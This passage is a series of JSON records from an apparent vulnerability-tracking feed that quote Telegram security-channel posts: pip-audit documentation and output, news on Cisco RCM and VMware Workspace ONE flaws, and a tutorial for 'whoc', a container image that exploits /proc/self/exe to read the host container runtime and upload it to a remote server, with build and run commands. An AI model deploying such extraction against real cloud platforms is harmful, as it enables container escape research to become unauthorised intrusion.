clean.exe file is placed into the relevant folder and executed by running the McAfee Agent deployment feature located in the System Tree,\u201d according to McAfee. \u201cAn attacker may exploit the vulnerability to obtain [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0166", "author": {"login": "automation"}}, {"uuid": "353a2431-b34a-43d6-a352-4e4c9a67e409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.723521+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39261", "content": "Audit dependencies in JSON format:  $ pip-audit -f json | jq\nFound 2 known vulnerabilities in 1 packages\n[\n  {\n    \"name\": \"flask\",\n    \"version\": \"0.5\",\n    \"vulns\": [\n      {\n        \"id\": \"PYSEC-2019-179\",\n        \"fix_versions\": [\n          \"1.0\"\n        ],\n        \"description\": \"The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.\"\n      },\n      {\n        \"id\": \"PYSEC-2018-66\",\n        \"fix_versions\": [\n          \"0.12.3\"\n        ],\n        \"description\": \"The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vu   lnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\"\n      }\n    ]\n  },\n  {\n    \"name\": \"jinja2\",\n    \"version\": \"3.0.2\",\n    \"vulns\": []\n  },\n  {\n    \"name\": \"pip\",\n    \"version\": \"21.3.1\",\n    \"vulns\": []\n  },\n  {\n    \"name\": \"setuptools\",\n    \"version\": \"57.4.0\",\n    \"vulns\": []\n  },\n  {\n    \"name\": \"werkzeug\",\n    \"version\": \"2.0.2\",\n    \"vulns\": []\n  },\n  {\n    \"name\": \"markupsafe\",\n    \"version\": \"2.0.1\",\n    \"vulns\": []\n  }\n]\n  Security Model  This section exists to describe the security assumptions you can and must not  make when using pip-audit.  TL;DR: If you wouldn't pip install it, you should not pip audit it.  pip-audit is a tool for auditing Python environments for packages with  known vulnerabilities. A \"known vulnerability\" is a publicly reported flaw in  a package that, if uncorrected, might allow a malicious actor to perform  unintended actions.  pip-audit can protect you against known vulnerabilities by telling  you when you have them, and how you should upgrade them. For example,  if you have somepackage==1.2.3 in your environment, pip-audit can tell  you that it needs to be upgraded to 1.2.4.  You can assume that pip-audit will make a best effort to fully resolve  all of your Python dependencies and either fully audit each or explicitly  state which ones it has skipped, as well as why it has skipped them.  pip-audit is not a static code analyzer. It analyzes dependency trees,  not code, and it cannot guarantee that arbitrary dependency resolutions  occur statically. To understand why this is, refer to Dustin Ingram's  excellent post on dependency resolution in Python (https://dustingram.com/articles/2018/03/05/why-pypi-doesnt-know-dependencies/).  As such: you must not assume that pip-audit will defend you against  malicious packages. In particular, it is incorrect to treat  pip-audit -r INPUT as a \"more secure\" variant of pip-audit. For all intents  and purposes, pip-audit -r INPUT is functionally equivalent to  pip install -r INPUT, with a small amount of non-security isolation to  avoid conflicts with any of your local environments.  Licensing  pip-audit is licensed under the Apache 2.0 License.  pip-audit reuses and modifies examples from  resolvelib, which is licensed under  the ISC license.  Contributing  See the contributing docs (https://github.com/trailofbits/pip-audit/blob/main/CONTRIBUTING.md) for details.  Code of Conduct  Everyone interacting with this project is expected to follow the  PSF Code of Conduct (https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md).  \n\nDownload Pip-Audit (https://github.com/trailofbits/pip-audit)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2018-1000656", "author": {"login": "automation"}}, {"uuid": "ad7b8ab4-8a6f-49a4-ba84-c6404f592310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.677578+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39261", "content": "Audit dependencies in JSON format:  $ pip-audit -f json | jq\nFound 2 known vulnerabilities in 1 packages\n[\n  {\n    \"name\": \"flask\",\n    \"version\": \"0.5\",\n    \"vulns\": [\n      {\n        \"id\": \"PYSEC-2019-179\",\n        \"fix_versions\": [\n          \"1.0\"\n        ],\n        \"description\": \"The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.\"\n      },\n      {\n        \"id\": \"PYSEC-2018-66\",\n        \"fix_versions\": [\n          \"0.12.3\"\n        ],\n        \"description\": \"The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vu   lnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\"\n      }\n    ]\n  },\n  {\n    \"name\": \"jinja2\",\n    \"version\": \"3.0.2\",\n    \"vulns\": []\n  },\n  {\n    \"name\": \"pip\",\n    \"version\": \"21.3.1\",\n    \"vulns\": []\n  },\n  {\n    \"name\": \"setuptools\",\n    \"version\": \"57.4.0\",\n    \"vulns\": []\n  },\n  {\n    \"name\": \"werkzeug\",\n    \"version\": \"2.0.2\",\n    \"vulns\": []\n  },\n  {\n    \"name\": \"markupsafe\",\n    \"version\": \"2.0.1\",\n    \"vulns\": []\n  }\n]\n  Security Model  This section exists to describe the security assumptions you can and must not  make when using pip-audit.  TL;DR: If you wouldn't pip install it, you should not pip audit it.  pip-audit is a tool for auditing Python environments for packages with  known vulnerabilities. A \"known vulnerability\" is a publicly reported flaw in  a package that, if uncorrected, might allow a malicious actor to perform  unintended actions.  pip-audit can protect you against known vulnerabilities by telling  you when you have them, and how you should upgrade them. For example,  if you have somepackage==1.2.3 in your environment, pip-audit can tell  you that it needs to be upgraded to 1.2.4.  You can assume that pip-audit will make a best effort to fully resolve  all of your Python dependencies and either fully audit each or explicitly  state which ones it has skipped, as well as why it has skipped them.  pip-audit is not a static code analyzer. It analyzes dependency trees,  not code, and it cannot guarantee that arbitrary dependency resolutions  occur statically. To understand why this is, refer to Dustin Ingram's  excellent post on dependency resolution in Python (https://dustingram.com/articles/2018/03/05/why-pypi-doesnt-know-dependencies/).  As such: you must not assume that pip-audit will defend you against  malicious packages. In particular, it is incorrect to treat  pip-audit -r INPUT as a \"more secure\" variant of pip-audit. For all intents  and purposes, pip-audit -r INPUT is functionally equivalent to  pip install -r INPUT, with a small amount of non-security isolation to  avoid conflicts with any of your local environments.  Licensing  pip-audit is licensed under the Apache 2.0 License.  pip-audit reuses and modifies examples from  resolvelib, which is licensed under  the ISC license.  Contributing  See the contributing docs (https://github.com/trailofbits/pip-audit/blob/main/CONTRIBUTING.md) for details.  Code of Conduct  Everyone interacting with this project is expected to follow the  PSF Code of Conduct (https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md).  \n\nDownload Pip-Audit (https://github.com/trailofbits/pip-audit)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-1010083", "author": {"login": "automation"}}, {"uuid": "62d9530a-fd1a-4fc2-a543-d7de67a6a7da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.626943+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/39302", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape\u00a0\u2013 whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?\n\nAs shown by runc\u00a0CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n* The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n* Once the image is run, the container runtime re-executes itself inside the container.\n* Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n* upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjocHBrqL-1DeWdgr84G9KTBwDuhOUH7iRkxmcMXWsXQnjtpQlcRlxf25x_Xv96NyR2T3Bd9jzEQBjtNFLfqZKx1FwIjPPzTasqAwRcH0_J60IuHDX9nGeMR_v9yUdB7BghvzW5znr5b3PjSrDk-KZ9DEuFMWend1XtmXY4oyh11Mfgtoc-YgLbHCYN=s571 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n* upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n* The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n* Once the exec occurs, the container runtime re-executes itself inside the container.\n* upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjYUPEISvlrTOOIHWJ2ekop9nHLKToBwpf54UfVgSVe-QYm7Fj6wmq1Ms7EqHTr0Ii86_41fgPuwX59E2lcVgVUXUVo2PbVwAPFS4oy-mts1mfmuUURo3c8VgHmgmW2ijLhyoVkkwH0Z3AEREI_zx5YKSeTWNUytVlP7xmSLU7pie5C8gNV3pxFZr92=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n\n$ git clone git@github.com:twistlock/whoc.git\n\nSet up a file server to receive the extracted container runtime:\n\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver\n$ ./fileserver\n\nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh\n$ docker run \u2013rm -it \u2013net=host whoc:latest 127.0.0.1 # or ./util/run_local.sh\n\nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be\u00a0runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. Other Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-5736", "author": {"login": "automation"}}, {"uuid": "79765147-21e1-41c1-8f5d-dd8e1f15ec2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.581871+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39552", "content": "Black Hat Ethical Hacking\nCisco bug gives remote attackers root privileges via debug mode\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco bug gives remote attackers root privileges via debug modePost Views: 119 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has fixed a critical security flaw discovered in the Cisco Redundancy Configuration Manager (RCM) for Cisco StarOS Software\u00a0during internal security testing.\nThe vulnerability, tracked as CVE-2022-20649, enables unauthenticated attackers to gain\u00a0remote code execution (RCE) with root-level privileges on devices running the vulnerable\u00a0software.\n\n\u201cA vulnerability in Cisco RCM for Cisco StarOS Software\u00a0could allow an unauthenticated, remote attacker to perform remote code execution on the application with root-level privileges in the context of the configured container,\u201d Cisco said.\n\nAs the company further explains,\u00a0the vulnerability exists due to the debug mode being incorrectly enabled for specific services.\n\n\u201cAn attacker could exploit this vulnerability by connecting to the device and navigating to the service with debug mode enabled.\u00a0A successful exploit could allow the attacker to execute arbitrary commands as the root user,\u201d\u00a0Cisco added.\n\nHowever, for unauthenticated access to devices running unpatched software, the attackers would first need to perform detailed reconnaissance to discover the\u00a0vulnerable services.\nSee Also: Complete Offensive Security and Ethical Hacking Course No in-the-wild exploitationCisco\u2019s Product Security Incident Response Team (PSIRT) said that the company is not aware of exploitation of this vulnerability\u00a0in ongoing attacks.\n\nToday, Cisco also fixed a medium severity information disclosure bug\u00a0(CVE-2022-20648)\u00a0in the\u00a0Cisco RCM for Cisco StarOS caused by a\u00a0debug service incorrectly listening to and accepting incoming connections.\n\nRemote attackers could exploit this\u00a0second bug\u00a0by executing debug commands after\u00a0connecting to the debug port. Successful exploitation could allow them to access sensitive debugging information on the vulnerable device.\nSee Also: Microsoft: New critical Windows HTTP vulnerability is wormable\nThe company has released Cisco RCM for StarOS 21.25.4, which comes with security updates to address these flaws and is\u00a0available through the Software Center on Cisco.com.\n\nLast year, Cisco patched several other vulnerabilities that allow threat actors to execute code and commands remotely with root privileges.\n\nFor instance, it\u00a0addressed critical pre-authentication RCE flaw impacting SD-WAN vManage that could enable threat actors to get root privileges\u00a0on the underlying OS in May. Another pre-auth bug in the same software, allowing attackers to gain RCE as root, was fixed in April.\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: OSINT Tool: Commit Stream See Also: Hacking stories \u2013 Rafael N\u00fa\u00f1ez (aka RaFa), hacking NASA with the hacking group: World of Hell\nSource: bleepingcomputer.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-11-1-90x90.jpg Beijing Olympics App Flaws Allow Man-in-the-Middle Attacks1 day ago\n* https://www.blackhatethicalhacking.com/[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20649", "author": {"login": "automation"}}, {"uuid": "e595ef2f-ecd3-428c-ae52-dae01e65ca01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.529829+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39552", "content": "Black Hat Ethical Hacking\nCisco bug gives remote attackers root privileges via debug mode\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco bug gives remote attackers root privileges via debug modePost Views: 119 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has fixed a critical security flaw discovered in the Cisco Redundancy Configuration Manager (RCM) for Cisco StarOS Software\u00a0during internal security testing.\nThe vulnerability, tracked as CVE-2022-20649, enables unauthenticated attackers to gain\u00a0remote code execution (RCE) with root-level privileges on devices running the vulnerable\u00a0software.\n\n\u201cA vulnerability in Cisco RCM for Cisco StarOS Software\u00a0could allow an unauthenticated, remote attacker to perform remote code execution on the application with root-level privileges in the context of the configured container,\u201d Cisco said.\n\nAs the company further explains,\u00a0the vulnerability exists due to the debug mode being incorrectly enabled for specific services.\n\n\u201cAn attacker could exploit this vulnerability by connecting to the device and navigating to the service with debug mode enabled.\u00a0A successful exploit could allow the attacker to execute arbitrary commands as the root user,\u201d\u00a0Cisco added.\n\nHowever, for unauthenticated access to devices running unpatched software, the attackers would first need to perform detailed reconnaissance to discover the\u00a0vulnerable services.\nSee Also: Complete Offensive Security and Ethical Hacking Course No in-the-wild exploitationCisco\u2019s Product Security Incident Response Team (PSIRT) said that the company is not aware of exploitation of this vulnerability\u00a0in ongoing attacks.\n\nToday, Cisco also fixed a medium severity information disclosure bug\u00a0(CVE-2022-20648)\u00a0in the\u00a0Cisco RCM for Cisco StarOS caused by a\u00a0debug service incorrectly listening to and accepting incoming connections.\n\nRemote attackers could exploit this\u00a0second bug\u00a0by executing debug commands after\u00a0connecting to the debug port. Successful exploitation could allow them to access sensitive debugging information on the vulnerable device.\nSee Also: Microsoft: New critical Windows HTTP vulnerability is wormable\nThe company has released Cisco RCM for StarOS 21.25.4, which comes with security updates to address these flaws and is\u00a0available through the Software Center on Cisco.com.\n\nLast year, Cisco patched several other vulnerabilities that allow threat actors to execute code and commands remotely with root privileges.\n\nFor instance, it\u00a0addressed critical pre-authentication RCE flaw impacting SD-WAN vManage that could enable threat actors to get root privileges\u00a0on the underlying OS in May. Another pre-auth bug in the same software, allowing attackers to gain RCE as root, was fixed in April.\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: OSINT Tool: Commit Stream See Also: Hacking stories \u2013 Rafael N\u00fa\u00f1ez (aka RaFa), hacking NASA with the hacking group: World of Hell\nSource: bleepingcomputer.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-11-1-90x90.jpg Beijing Olympics App Flaws Allow Man-in-the-Middle Attacks1 day ago\n* https://www.blackhatethicalhacking.com/[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20648", "author": {"login": "automation"}}, {"uuid": "584af346-6b0f-4a2c-9e4d-20cc30e87f8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.483757+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39260", "content": "-f FORMAT, --format FORMAT\n                        the format to emit audit    results in (choices: columns,\n                        json, cyclonedx-json, cyclonedx-xml) (default:\n                        columns)\n  -s SERVICE, --vulnerability-service SERVICE\n                        the vulnerability service to audit dependencies\n                        against (choices: osv, pypi) (default: pypi)\n  -d, --dry-run         collect all dependencies but do not perform the\n                        auditing step (default: False)\n  -S, --strict          fail the entire audit if dependency collection fails\n                        on any dependency (default: False)\n  --desc [{on,off,auto}]\n                        include a description for each vulnerability; `auto`\n                        defaults to `on` for the `json` format. This flag has\n                        no effect on the `cyclonedx-json` or `cyclonedx-xml`\n                        formats. (default: auto)\n  --cache-dir CACHE_DIR\n                           the directory to use as an HTTP cache for PyPI; uses\n                        the `pip` HTTP cache by default (default: None)\n  --progress-spinner {on,off}\n                        display a progress spinner (default: on)\n  --timeout TIMEOUT     set the socket timeout (default: 15)\n  --path PATHS          restrict to the specified installation path for\n                        auditing packages; this option can be used multiple\n                        times (default: [])\n  -v, --verbose         give more output; this setting overrides the\n                        `PIP_AUDIT_LOGLEVEL` variable and is equivalent to\n                        setting it to `debug` (default: False)\n  Exit codes  On completion, pip-audit will exit with a code indicating its status.  The current codes are:    0: No known vulnerabilities (https://www.kitploit.com/search/label/Known%20Vulnerabilities) were detected.  1: One or more known vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) were found.    Examples  Audit dependencies for the current Python environment:  $ pip-audit\nNo known vulnerabilities found\n  Audit dependencies for a given requirements file:  $ pip-audit -r ./requirements.txt\nNo known vulnerabilities found\n  Audit dependencies for the current Python environment excluding system packages:  $ pip-audit -r ./requirements.txt -l\nNo known vulnerabilities found\n  Audit dependencies when there are vulnerabilities present:  $ pip-audit\nFound 2 known vulnerabilities in 1 packages\nName  Version ID             Fix Versions\n----  ------- -------------- ------------\nFlask 0.5     PYSEC-2019-179 1.0\nFlask 0.5     PYSEC-2018-66  0.12.3\n  Audit dependencies including descriptions:  $ pip-audit --desc\nFound 2 known vulnerabilities in 1 packages\nName  Version ID             Fix Versions Description\n----  ------- -------------- ------------ --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   ------------\nFlask 0.5     PYSEC-2019-179 1.0          The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.\nFlask 0.5     PYSEC-2018-66  0.12.3       The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2018-1000656", "author": {"login": "automation"}}, {"uuid": "cc5862c8-d88b-4759-bd5d-a9483da2796a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.433105+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39260", "content": "-f FORMAT, --format FORMAT\n                        the format to emit audit    results in (choices: columns,\n                        json, cyclonedx-json, cyclonedx-xml) (default:\n                        columns)\n  -s SERVICE, --vulnerability-service SERVICE\n                        the vulnerability service to audit dependencies\n                        against (choices: osv, pypi) (default: pypi)\n  -d, --dry-run         collect all dependencies but do not perform the\n                        auditing step (default: False)\n  -S, --strict          fail the entire audit if dependency collection fails\n                        on any dependency (default: False)\n  --desc [{on,off,auto}]\n                        include a description for each vulnerability; `auto`\n                        defaults to `on` for the `json` format. This flag has\n                        no effect on the `cyclonedx-json` or `cyclonedx-xml`\n                        formats. (default: auto)\n  --cache-dir CACHE_DIR\n                           the directory to use as an HTTP cache for PyPI; uses\n                        the `pip` HTTP cache by default (default: None)\n  --progress-spinner {on,off}\n                        display a progress spinner (default: on)\n  --timeout TIMEOUT     set the socket timeout (default: 15)\n  --path PATHS          restrict to the specified installation path for\n                        auditing packages; this option can be used multiple\n                        times (default: [])\n  -v, --verbose         give more output; this setting overrides the\n                        `PIP_AUDIT_LOGLEVEL` variable and is equivalent to\n                        setting it to `debug` (default: False)\n  Exit codes  On completion, pip-audit will exit with a code indicating its status.  The current codes are:    0: No known vulnerabilities (https://www.kitploit.com/search/label/Known%20Vulnerabilities) were detected.  1: One or more known vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) were found.    Examples  Audit dependencies for the current Python environment:  $ pip-audit\nNo known vulnerabilities found\n  Audit dependencies for a given requirements file:  $ pip-audit -r ./requirements.txt\nNo known vulnerabilities found\n  Audit dependencies for the current Python environment excluding system packages:  $ pip-audit -r ./requirements.txt -l\nNo known vulnerabilities found\n  Audit dependencies when there are vulnerabilities present:  $ pip-audit\nFound 2 known vulnerabilities in 1 packages\nName  Version ID             Fix Versions\n----  ------- -------------- ------------\nFlask 0.5     PYSEC-2019-179 1.0\nFlask 0.5     PYSEC-2018-66  0.12.3\n  Audit dependencies including descriptions:  $ pip-audit --desc\nFound 2 known vulnerabilities in 1 packages\nName  Version ID             Fix Versions Description\n----  ------- -------------- ------------ --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   ------------\nFlask 0.5     PYSEC-2019-179 1.0          The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.\nFlask 0.5     PYSEC-2018-66  0.12.3       The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-1010083", "author": {"login": "automation"}}, {"uuid": "c9381b0b-6fec-4496-864e-7ed01ce4b945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.371373+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39246", "content": "Black Hat Ethical Hacking\nSSRF vulnerability in VMWare authentication software could allow access to user data\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png SSRF vulnerability in VMWare authentication software could allow access to user dataPost Views: 128 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nA\u00a0server-side request forgery\u00a0(SSRF) vulnerability in versions of VMWare authentication software could allow an attacker to obtain administrative JSON Web Tokens (JWT), researchers warn.\nThe SSRF bug was found in VMware Workspace ONE Access (previously known as Identity Manager), which provides multi-factor authentication, conditional access and single sign-on to SaaS, web, and native mobile apps.\n\nThe vulnerability (tracked as CVE-2021-22056), which was assigned a \u2018moderate\u2019 severity score of 5.5, could enable a malicious actor with network access to make HTTP requests to arbitrary origins and read the full response.\n\nA blog post reads: \u201cDue to the lack of a slash character, it is possible for an attacker to make HTTP requests to arbitrary origins and read the full response.\n\n\u201cFurthermore, an authorization header gets leaked and hence it is possible for an attacker to weaponize this vulnerability to steal the authorization header of an admin upon viewing an image or making a single click.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course Access all areasResearchers Shubham Shah and Keiran Sampson, who discovered the bug, said that this could lead to the leaking of JWTs \u2013 potentially allowing a malicious actor full access to a vulnerable system.\n\nJWTs are URL safe strings that are used to identify a user. They contain JSON-encoded data, making them convenient for embedding information.\n\nThey are typically used as session identifiers for web applications, mobile applications, and API services. They also contain user data directly, unlike traditional session identifiers which simply point to user data on the server-side.\n\nIf a user\u2019s JWTs are stolen or compromised, an attacker can potentially gain full access to the user\u2019s account.\n\nMore information about the use of JWTs can be found here.\n\nResearchers pointed out that the leaking of the JWT \u201cincreases the severity of the issue as this vulnerability can be used in spear phishing attacks against organizations\u00a0that use VMWare Workspace One Access\u201d.\n\nShah and Sampson, who discovered the bug, also found a second issue, an authentication bypass vulnerability in VMware Workspace ONE Access (CVE-2021-22057).\n\nThe vulnerability, impacting VMware Verify two factor authentication, was also rated as a moderate severity bug with a score of 6.6.\n\nThe security issue means a malicious actor who has successfully provided the first-factor in an authentication process (such as a password), may be able to obtain second-factor authentication provided by VMware Verify.\n\nA security advisory\u00a0contains further details about which versions of the software are at risk.\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Microsoft: New critical Windows HTTP vulnerability is wormable Patch issuedVMWare has patched both security issues in its latest version of the enterprise software.\n\nIn their blog post, Shah and Sampson thanked the ven[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-22057", "author": {"login": "automation"}}, {"uuid": "f97851a8-9d11-4c84-ba63-b31c99687876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.320333+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/39246", "content": "Black Hat Ethical Hacking\nSSRF vulnerability in VMWare authentication software could allow access to user data\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png SSRF vulnerability in VMWare authentication software could allow access to user dataPost Views: 128 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nA\u00a0server-side request forgery\u00a0(SSRF) vulnerability in versions of VMWare authentication software could allow an attacker to obtain administrative JSON Web Tokens (JWT), researchers warn.\nThe SSRF bug was found in VMware Workspace ONE Access (previously known as Identity Manager), which provides multi-factor authentication, conditional access and single sign-on to SaaS, web, and native mobile apps.\n\nThe vulnerability (tracked as CVE-2021-22056), which was assigned a \u2018moderate\u2019 severity score of 5.5, could enable a malicious actor with network access to make HTTP requests to arbitrary origins and read the full response.\n\nA blog post reads: \u201cDue to the lack of a slash character, it is possible for an attacker to make HTTP requests to arbitrary origins and read the full response.\n\n\u201cFurthermore, an authorization header gets leaked and hence it is possible for an attacker to weaponize this vulnerability to steal the authorization header of an admin upon viewing an image or making a single click.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course Access all areasResearchers Shubham Shah and Keiran Sampson, who discovered the bug, said that this could lead to the leaking of JWTs \u2013 potentially allowing a malicious actor full access to a vulnerable system.\n\nJWTs are URL safe strings that are used to identify a user. They contain JSON-encoded data, making them convenient for embedding information.\n\nThey are typically used as session identifiers for web applications, mobile applications, and API services. They also contain user data directly, unlike traditional session identifiers which simply point to user data on the server-side.\n\nIf a user\u2019s JWTs are stolen or compromised, an attacker can potentially gain full access to the user\u2019s account.\n\nMore information about the use of JWTs can be found here.\n\nResearchers pointed out that the leaking of the JWT \u201cincreases the severity of the issue as this vulnerability can be used in spear phishing attacks against organizations\u00a0that use VMWare Workspace One Access\u201d.\n\nShah and Sampson, who discovered the bug, also found a second issue, an authentication bypass vulnerability in VMware Workspace ONE Access (CVE-2021-22057).\n\nThe vulnerability, impacting VMware Verify two factor authentication, was also rated as a moderate severity bug with a score of 6.6.\n\nThe security issue means a malicious actor who has successfully provided the first-factor in an authentication process (such as a password), may be able to obtain second-factor authentication provided by VMware Verify.\n\nA security advisory\u00a0contains further details about which versions of the software are at risk.\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: 